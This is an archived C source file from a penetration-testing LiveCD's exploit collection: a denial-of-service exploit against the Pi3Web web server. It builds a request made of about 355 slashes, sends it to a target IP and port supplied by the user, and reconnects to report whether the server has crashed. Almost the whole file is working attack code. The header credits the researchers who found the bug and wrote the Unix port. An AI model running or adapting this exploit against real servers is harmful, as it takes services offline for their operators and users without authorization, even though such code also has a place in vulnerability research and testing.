home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / pi3 / pi3web-DoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  87 lines

  1. /*
  2.  * Unix Version of the Pi3web DoS.
  3.  * ----------------------------------------------------------
  4.  * Info: Pi3Web Server is vulnerable to a denial of Service.
  5.  * ----------------------------------------------------------
  6.  * VULNERABILITY:
  7.  * GET //// <- 354
  8.  *
  9.  * The bug was found by aT4r@3wdesign.es 04/26/2003
  10.  * www.3wdesign.es Security
  11.  * ----------------------------------------------------------
  12.  * Unix Version Credits.
  13.  * AUTHOR : Angelo Rosiello
  14.  * CONTACT: angelo@rosiello.org, angelo@dtors.net
  15.  *
  16. */
  17.  
  18. #include <stdio.h>
  19. #include <sys/socket.h>
  20. #include <sys/types.h>
  21. #include <netinet/in.h>
  22. #include <string.h>
  23. #include <assert.h>
  24.  
  25. void addr_initialize();
  26.  
  27. int main(int argc, char **argv)
  28. {
  29.   int i, port, sd, rc;
  30.   char buffer[355];
  31.   char *get = "GET";
  32.   char packet[360];
  33.   struct sockaddr_in server;
  34.  
  35.   if(argc > 3 || argc < 2)
  36.   {
  37.     printf("USAGE: %s IP PORT\n", argv[0]);
  38.     printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
  39.     exit(0);
  40.   }
  41.   if(argc == 2) port = 80;
  42.   else port = atoi(argv[2]);
  43.  
  44.   for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
  45.   sprintf(packet, "%s %s\n", get, buffer);
  46.   addr_initialize(&server, port, (long)inet_addr(argv[1]));
  47.  
  48.   sd = socket(AF_INET, SOCK_STREAM, 0);
  49.   if(sd < 0) perror("Socket");
  50.   assert(sd >= 0);
  51.   rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
  52.   if(rc != 0) perror("Connect");
  53.   assert(rc == 0);
  54.   printf("\n\t\t(c) 2003 DTORS Security\n");
  55.   printf("\t\tUnix Version DoS for Pi3web\n");
  56.   printf("\t\tby Angelo Rosiello\n\n");
  57.   write(sd, packet, strlen(packet)); //Caput!
  58.   printf("Malformed packet sent!\n");
  59.   close(sd);
  60.  
  61.   printf("Checking if the server crashed...\n");
  62.   sleep(3);
  63.  
  64.   sd = socket(AF_INET, SOCK_STREAM, 0);
  65.         if(sd < 0) perror("Socket");
  66.   assert(sd >= 0);
  67.   rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
  68.   if(rc != 0)
  69.   {
  70.     printf("The server is dead!\n");
  71.     exit(0);
  72.   }
  73.   else if(rc == 0) printf("The server is not vulnerable!\n");
  74.   close(sd);
  75.   exit(0);
  76. }
  77.  
  78. void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
  79. {
  80.         address -> sin_family = AF_INET;
  81.         address -> sin_port = htons((u_short)port);
  82.         address -> sin_addr.s_addr = IPaddr;
  83. }
  84.  
  85. /*EOF*/
  86.  
  87.